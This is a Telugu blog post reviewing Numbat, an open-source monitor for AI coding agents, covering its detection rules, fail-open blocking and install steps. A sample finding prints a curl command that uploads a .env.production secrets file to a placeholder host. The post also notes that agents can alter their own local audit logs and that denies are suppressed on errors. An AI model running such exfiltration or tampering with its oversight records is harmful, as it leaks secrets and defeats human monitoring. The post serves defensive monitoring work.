Numbat: మీ AI agent ఏం చేసిందో చూడండి
Perplexity రూపొందించిన Numbat, coding agents మీ serverలో చేసిన పనులను eventలుగా నమోదు చేస్తుంది. ఇది చూసేది, ఆపలేనిది, Apache 2.0 license వివరాలు తెలుసుకోండి.
Numbat అంటే ఏమిటి
మీకు చెందిన యంత్రంలో AI agent ఏమి చేసిందో Numbat చూపిస్తుంది. Coding agents ఇప్పటికే సృష్టించే hook callbacks మరియు session files ను ఇది చదువుతుంది. వాటిని ఒకే event format గా సాధారణీకరిస్తుంది. SSH private key చదవడం లేదా download ను నేరుగా shell కు pipe చేయడం వంటి ప్రవర్తనలకు స్పందించే rules తో ఆ events ను సరిపోలుస్తుంది. Perplexity దీన్ని Apache 2.0 లైసెన్స్ కింద open source గా విడుదల చేసింది. మొదటి tagged release 29 July 2026న వచ్చింది.
క్రింద ఉన్న సమాచారం అంతా 2 August 2026న చదివిన project's repository మరియు దాని స్వంత documentation నుంచి తీసుకున్నది. Perplexity ఏదైనా claim చేసిన చోట ఈ post అది Perplexity claim అని స్పష్టం చేస్తుంది. ఇది install tutorial కాదు. Repository కొన్ని రోజుల పాతదే కాబట్టి, దాని commands మారవచ్చు.
సమస్య: agent చేసిన పనిని ఎవరూ నమోదు చేయరు
మీ VPSలోని coding agent, మీరు దానికి ఇచ్చిన user తరఫున shell commands ను అమలు చేస్తుంది, files ను చదువుతుంది, files ను రాస్తుంది మరియు network connections ను తెరుస్తుంది. Agent మీ shellలో టైప్ చేయదు కాబట్టి, మీ shell history వీటిలో ఏదీ నమోదు చేయదు. sshd మీరు login చేసిన విషయాన్ని మాత్రమే log చేస్తుంది; ఆ తర్వాత model తీసుకున్న నిర్ణయాలను నమోదు చేయదు. /var/log/auth.log ఏదైనా sudo ను యాక్సెస్ చేయడానికి ప్రయత్నించే వరకు నిశ్శబ్దంగానే ఉంటుంది. Agent తన స్వంత transcript ను నిర్వహిస్తుంది. అయితే ఆ file agent యొక్క session directory లో ఉంటుంది, దాని format releases మధ్య మారుతుంది, అలాగే agent యొక్క స్వంత process దానిలో రాయగలదు.
అందువల్ల గత మంగళవారం agent .env.production ను చదివిందా అని ఎవరైనా అడిగితే, చాలా serversలో నిజాయితీగా చెప్పగల సమాధానం: అది జరిగిందో లేదో మీరు నిర్ధారించలేరు. ఈ లోటే ఈ project ఉద్దేశ్యం.
Perplexity ప్రకారం Numbat చేసే పని
README ఈ సాధనాన్ని “AI agent కార్యకలాపాలపై endpoint visibility, local detection, ఐచ్ఛిక pre-action blocking మరియు forensic reconstruction కలిగినది”గా వివరిస్తుంది. ఇక్కడ endpoint అంటే బయట నుంచి పర్యవేక్షించే network appliance కాదు; agent నడుస్తున్న machine అని అర్థం. ఇవి వేర్వేరు సామర్థ్యాలు. వాటి ప్రాధాన్యత కూడా వేర్వేరుగా ఉంటుంది.
Detection device పైనే జరుగుతుంది. Rules ను CEL (common expression language)లో రాసి localగా evaluate చేస్తారు. అదనంగా multi-step sequence rules మరియు YAMLలో మీ స్వంత rules కు support ఉంటుంది. Rule అమలు కావడానికి ఏదీ machine బయటకు వెళ్లాల్సిన అవసరం లేదు.
Blocking ఐచ్ఛికం మరియు పరిమితమైనది. ఇది synchronous pre-action hooks ద్వారా మాత్రమే పనిచేస్తుంది. ఆ hooks ను అందించే agents పైనే ఇది పనిచేస్తుంది. మీరు దీన్ని enable చేసే వరకు ఇది offగానే ఉంటుంది.
Reconstruction తరువాత జరుగుతుంది. numbat scan agent ఇప్పటికే diskపై రాసిన session artifacts ను parse చేస్తుంది. అందువల్ల మీరు ఈ సాధనాన్ని install చేయకముందు జరిగిన activityని కూడా పరిశీలించవచ్చు. అయితే project ఈ claim కు స్పష్టమైన పరిమితి విధిస్తుంది: “At-rest reconstruction అనేది disk లేదా memory acquisition కాదు. Agent persist చేయని activityని ఇది recover చేయలేదు.”
Output versioned NDJSON (newline delimited JSON) రూపంలో ఉంటుంది. ఇందులో events, findings, enforcement decisions, indicators మరియు scan summaries ఉంటాయి. v0.1.2 నాటికి schema version 0.2.0 ఉంది. Records stdout లేదా local fileకు రాయబడతాయి. మీరు నిర్వహించే collectorకు HTTP ద్వారా పంపడం కూడా ఐచ్ఛికంగా అందుబాటులో ఉంటుంది. ఇది cgo లేకుండా build చేసిన ఒక static Go binaryగా macOS, Linux మరియు Windowsలో amd64 మరియు arm64 కోసం విడుదలవుతుంది. అందువల్ల Linux VPSలో ముందుగా runtime install చేయాల్సిన అవసరం లేకుండా ఒకే fileగా ఉపయోగించవచ్చు.
Numbat వాస్తవంగా ఏ agents ను చూడగలదు?
docs/agent-coverage.md లోని coverage matrix అధికారిక జాబితా. అయితే దాని coverage సమానంగా లేదు. ప్రాజెక్ట్ దీన్ని దాచకుండా స్పష్టంగా పేర్కొంటుంది. Claude Code, Codex, Gemini CLI, Cursor మరియు GitHub Copilot CLIలకు artifact scanning, అలాగే pre-action hook తో live capture రెండూ ఉన్నాయి. 2026.7.1 మరియు ఆ తరువాతి versions నుంచి OpenClawకు native plugin అందుబాటులో ఉంది. చాలా entries deferred గా గుర్తించబడ్డాయి. అంటే live hook path ఉంది, కానీ artifact parser లేదు. దీనికి సాధారణ కారణం, ఆ agent తన historyని SQLiteలో write-ahead logతో నిల్వ చేయడం. Agent నడుస్తున్నప్పుడు ఆ logను చదవడం సురక్షితం కాదు. 2 August 2026న matrixను చదివినప్పుడు OpenCode మరియు Cline కూడా ఈ groupలో ఉన్నాయి.
ఈ tool కోసం ఏదైనా ప్రణాళిక రూపొందించే ముందు మీ agentకు సంబంధించిన rowను పరిశీలించండి. ఎందుకంటే ప్రతి lineలో "supported" అనే పదానికి వేర్వేరు అర్థం ఉంటుంది.
డిటెక్షన్ ఎలా కనిపిస్తుంది
Rules ను ఏ పని కోసం ఉపయోగిస్తారో తెలియజేసే ids ఉంటాయి. secrets.read_private_key SSH key, AWS credentials, kube config లేదా package registry login ను గుర్తిస్తుంది. exec.download_pipe_shell, curl లేదా wget output ను interpreter కు pipe చేసినప్పుడు trigger అవుతుంది. privilege.elevated_shell, sudo, doas లేదా su ద్వారా interactive root shell కోసం చేసిన అభ్యర్థనను గుర్తిస్తుంది. pkexec లేదా impact.cryptomining_launch తెలిసిన miner binaries మరియు image names కు సరిపోతుంది.
Sequence rules ఒకే session లోని events ను కలుపుతాయి. chain.secret_read_then_egress లో secret file ను చదివిన తరువాత data ను బయటకు పంపే command ఉండాలి. క్రింద చూపిన finding ను live incident నుంచి కాకుండా, రెండు Claude Code pre-action callbacks ను నియంత్రితంగా replay చేసిన ఫలితం నుంచి README ప్రచురిస్తుంది. ఇక్కడ అవసరమైన fields మాత్రమే ఉంచబడ్డాయి:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Record లో "confidence": "medium" ఉన్నదాన్ని గమనించండి. ఈ మొత్తం output తరగతి గురించి project చెప్పిన విషయాన్ని కూడా గమనించండి: "Findings అనేవి rule matches మాత్రమే; compromise జరిగినదానికి రుజువు కావు." ఒక deploy script key ను చదివి, తరువాత build artifact ను upload చేస్తే అదే sequence rule కు match అవుతుంది. Match సరైనదే, కానీ alarm తప్పు. మీరు ఇప్పటివరకు నడిపిన ప్రతి detection tool లో ఇది సాధారణ పరిస్థితి.
డిఫాల్ట్గా Blocking నిలిపివేయబడి ఉంటుంది; లోపం వచ్చినప్పుడు ఇది అనుమతిస్తుంది
Numbat విడుదల చేసే ప్రతి rule monitor-only స్థితిలో ఉంటుంది. దాన్ని block rule గా మార్చడం ఉద్దేశపూర్వకంగా చేయాల్సిన పని. ఆ rule యొక్క పూర్తి YAML ను మీ స్వంత directory కి copy చేయాలి, అదే id ను ఉంచాలి, enforce: true ను జోడించాలి, version ను పెంచాలి, తరువాత ఆ policy ను validate చేసి install చేయాలి.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceఇప్పుడు దానిపై మీరు ఉంచాల్సిన నమ్మకం ఎంతవరకు ఉండాలో నిర్ణయించే అంశం ఇది. Numbat యొక్క deny అనేది agent కు తిరిగి పంపే response మాత్రమే. Tool call ను వాస్తవంగా తిరస్కరించేది agent. Numbat కు సమస్య వచ్చినప్పుడు ఏమవుతుందో enforcement guide స్పష్టంగా చెబుతుంది: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input పరిమితి 4 MiB. పరిమితిని మించిన input కూడా ఇదే మార్గంలో వెళ్తుంది.
అమలులోకి వచ్చిన deny యొక్క పరిమితిని కూడా guide స్పష్టంగా చెబుతుంది: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."
అందువల్ల ఇక్కడి enforcement ఒక guardrail మాత్రమే; అది boundary కాదు. Process crash అయితే Numbat ఆ action ను block చేయదు. ఎందుకంటే సమస్య వచ్చిన ప్రతిసారి మీ agent ను నిలిపివేసే monitor ను ఒక వారంలోనే uninstall చేస్తారు. ఈ trade-off సముచితమే. అయితే deny ఎల్లప్పుడూ చేరుతుందని ఊహించే security model ను నిర్మించకండి.
మీరు ఇప్పటికే చేస్తున్న పనులతో Numbat ఎలా కలిసి పనిచేస్తుంది
Numbat endpoint పై, agent యొక్క స్వంత process tree లోపల నడుస్తుంది. ఇది డిఫాల్ట్గా ~/.numbat/records.ndjson కు వ్రాస్తుంది. మీ user గా నడుస్తున్న agent ఆ file ను చదవగలదు. దాన్ని సవరించగలదు కూడా. Audit trail విలువ దాని చుట్టూ ఉన్న isolation కు ఎంత ఉందో అంతే ఉంటుంది. అందువల్ల మీరు ఇప్పటికే అమలు చేస్తున్న ప్రతి control ఈ control కు ముందు ఉండాలి, వెనుక కాదు.
coding agent కోసం disposable VM ఇవ్వడం ఒక చెడు run చేరుకోగల పరిధిని పరిమితం చేస్తుంది. VPS లో least privilege user agent కు అవసరం లేని files ను తెరవకుండా నిరోధిస్తుంది. agent context నుంచి credentials ను తొలగించడం వల్ల secrets.read_private_key సంభవించినప్పుడు దాన్ని పరిశీలించడం విలువైనంత అరుదుగా అది జరుగుతుంది. VPS లో Claude Code కోసం మీరు ఏర్పాటు చేసిన sandbox containment ను నిర్వహించే ప్రధాన వ్యవస్థగానే ఉంటుంది. Containment ఒక చెడు run తాకగల వాటి పరిధిని పరిమితం చేస్తుంది. code ఈ విధంగా ఎందుకు రూపొందించబడిందో రాసి ఉంచడం agent ఆశ్చర్యకరమైన పని చేసి మిమ్మల్ని log వద్దకు పంపే సందర్భాల సంఖ్యను తగ్గిస్తుంది.
Numbat జోడించేది record. అందువల్ల agent చేరుకోలేని ప్రదేశానికి ఆ record ను పంపండి. numbat ship మరియు HTTP sink ఇందుకోసమే ఉన్నాయి. రెండో machine పై stream యొక్క ఒక copy ఉండటం, log file కు evidence కు మధ్య ఉన్న తేడా. Event model లో MCP (model context protocol) fields కూడా ఉంటాయి. అందువల్ల VPS లో మీరు host చేసే MCP server ద్వారా బయటకు వెళ్లే tool calls, local shell commands తో పాటు అదే stream లోకి చేరతాయి. ఇది ముఖ్యమైనది, ఎందుకంటే bash ను మాత్రమే పర్యవేక్షించే ఏ వ్యవస్థకైనా ఈ మార్గం కనిపించదు. agent యొక్క search backend గా అనుసంధానించిన SearXNG instance విషయంలోనూ ఇదే blind spot ఉంటుంది. అక్కడ ప్రమాదం ఏ rule అయినా match చేయగల command రూపంలో కాకుండా, model context లోకి చేరే నమ్మదగని page text రూపంలో వస్తుంది.
ముందుగా read-only విధానంలో పరీక్షించండి
పిన్ చేసిన version ను install చేయండి. go install కు Go 1.26.5 లేదా అంతకంటే కొత్త version అవసరం. Source నుంచి build చేయకూడదనుకుంటే, releases page లో SHA-256 checksums తో prebuilt binaries అందుబాటులో ఉంటాయి.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents ఈ box లో install చేసిన agents ను గుర్తిస్తుంది. numbat scan ఇప్పటికే disk లో ఉన్న session artifacts ను parse చేసి records ను print చేస్తుంది. ఈ commands "hooks ను install చేయవు లేదా agent configuration ను మార్చవు" అని README పేర్కొంటుంది. అలాగే numbat "artifacts లో కనిపించే agents లేదా commands ను ఎప్పుడూ execute చేయదు. Configured HTTP sinks కు మాత్రమే outbound requests పంపుతుంది" అని కూడా పేర్కొంటుంది. Scanning read-only విధానంలో జరుగుతుంది. Secrets redact చేయబడతాయి. సాధారణ record output లో పూర్తి raw transcript ఎప్పుడూ ఉండదు.
తదుపరి దశ live capture. ఇది agent configuration ను మారుస్తుంది:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all events, findings, indicators మరియు వర్తించే enforcement decisions ను ~/.numbat/records.ndjson కు write చేస్తుంది. Project నుంచి నేరుగా వచ్చే రెండు ముఖ్యమైన జాగ్రత్తలు ఉన్నాయి. Hooks అమలు కావడానికి ముందే agent లో వాటిని trusted గా గుర్తించాల్సి రావచ్చు. --enforce వంటి flags ను మార్చిన తర్వాత ఆ trust ను మళ్లీ review చేయాలి. అలాగే hook status "configuration ను verify చేస్తుంది, execution లేదా delivery ను కాదు". అందువల్ల healthy status line కనిపించడం వల్ల records ఎక్కడికైనా చేరుతున్నాయని నిర్ధారించలేం.
ఇంత కొత్త repository ఎందుకు dependency కాదు
Public releases 29 July 2026 న v0.1.1, 1 August 2026 న v0.1.2 గా ఉన్నాయి. ఈ post రాసినప్పుడు, 2 August 2026 న repository కు 597 stars ఉన్నాయి. ఇంత వేగంగా పెరిగిన సంఖ్యలు code ఎంత స్థిరంగా ఉందో కాకుండా Perplexity audience ను ప్రతిబింబిస్తాయి. Star అంటే ఎవరో ఆ page ను తరువాత చూడటానికి save చేశారని అర్థం.
Version number ఈ project ప్రస్తుత స్థితిని స్పష్టంగా చూపిస్తుంది. v0.1.2 notes లో ప్రధానంగా credential redaction fixes ఉన్నాయి. అదనంగా case bundle మరియు telemetry normalisation పనులు ఉన్నాయి. ఇతర programs transcripts ను సురక్షితంగా చదవడం ఈ tool పని. అందువల్ల ప్రారంభ దశలో redaction bugs కనిపించడం సహజం. Inputs ఒక డజను agents నుంచి వస్తాయి. ప్రతి agent తన format ను తన స్వంత schedule ప్రకారం మార్చుతుంది. కాబట్టి ఇలాంటి మరిన్ని bugs వస్తాయి.
దీని నుంచి రెండు practical rules వస్తాయి. మీరు ఉంచే ఏదైనా configuration లేదా deployment లో tag ను pin చేయండి; @latest ను ఎప్పుడూ ఉపయోగించవద్దు. కనీసం record schema మార్పులు ఆగే వరకు, దీనిపై ఆధారపడే control గా కాకుండా మీరు మూల్యాంకనం చేస్తున్న instrument గా పరిగణించండి.
FAQ
Numbat ప్రమాదకరమైన AI agent commands ను నిరోధిస్తుందా?
మీరు స్వయంగా opt in చేస్తే మాత్రమే, అదీ best effort ప్రాతిపదికన మాత్రమే. Numbat ships చేసే ప్రతి rule monitor only గా ఉంటుంది. నిరోధించాలంటే, ఆ rule యొక్క YAML ను మీ స్వంత directory కి copy చేసి, దాని id ను అలాగే ఉంచి, enforce: true ను జోడించి, version ను పెంచి, --enforce తో hook ను install చేయాలి. అయినప్పటికీ deny అనేది agent కు తిరిగి పంపే response మాత్రమే; ఆ call ను తిరస్కరించేది agent నే. Project fail-open behaviour ను documentation లో పేర్కొంటుంది: malformed payloads, evaluation errors, panics మరియు output failures అన్నీ deny ను suppress చేస్తాయి. దీన్ని guardrail గా ఉపయోగించండి; మీ ఏకైక భద్రతా సరిహద్దుగా ఉపయోగించవద్దు.
Numbat ఏ AI agents కు support ఇస్తుంది?
ప్రతి agent కు coverage వేర్వేరుగా ఉంటుంది. Repository లోని docs/agent-coverage.md లో జాబితా ఉంది. 2 August 2026 న ఆ page ను చదివినప్పుడు Claude Code, Codex, Gemini CLI, Cursor మరియు GitHub Copilot CLI లకు artifact scanning మరియు live capture రెండూ ఉన్నాయి. OpenClaw కు version 2026.7.1 నుంచి native plugin ఉంది. మరెన్నో agents కు live hook path జాబితా చేయబడి ఉంది, కానీ artifact parser ఇంకా లేదు. సాధారణంగా వాటి session history agent నడుస్తున్న సమయంలో సురక్షితంగా చదవలేని SQLite database లో ఉండటమే దీనికి కారణం. మీ agent కు సంబంధించిన row ను చదవండి. అక్కడ "supported" అనే పదం అనేక వేర్వేరు స్థాయిలను సూచిస్తుంది.
Agent Numbat records ను మార్చగలదా?
అవును, అది అదే user గా నడిస్తే. Records default గా agent ఉన్న అదే machine లోని ~/.numbat/records.ndjson కు వ్రాయబడతాయి. కాబట్టి ఆ path కు write access ఉన్న ఏదైనా process వాటిని మార్చగలదు లేదా తొలగించగలదు. Agent చేరుకోలేని collector కు stream ను పంపండి. ఇందుకోసం numbat ship లేదా HTTP sink ను ఉపయోగించండి. Local file ను సౌకర్యార్థం copy గా ఉంచండి. అందుకే ఈ tool isolation కు ప్రత్యామ్నాయం కాకుండా దానికి complement గా పనిచేస్తుంది. Least privilege user కింద disposable VM లో పరిమితం చేసిన agent కు తన audit trail పై నియంత్రణ చాలా తక్కువగా ఉంటుంది.
Production server కోసం Numbat సిద్ధంగా ఉందా?
మీరు ఆధారపడే control గా ఇంకా సిద్ధంగా లేదు. మొదటి public release v0.1.1 29 July 2026 న వచ్చింది. తరువాత v0.1.2 1 August 2026 న విడుదలైంది. అందువల్ల flags మరియు record schema రెండూ ఇంకా మారుతున్నాయి. ఒక server పై numbat agents మరియు numbat scan ను నడపడం read-only మరియు తక్కువ ప్రమాదంతో కూడిన పని. ఇది మీ agents disk పై ఏమి వదిలి వెళ్తున్నాయో చూపిస్తుంది. ముఖ్యమైన server పై enforcement hooks install చేయడం వేరే నిర్ణయం. దానికి pinned tag మరియు hook సరిగా పనిచేయనప్పుడు ఏమి చేయాలనే ప్రణాళిక అవసరం.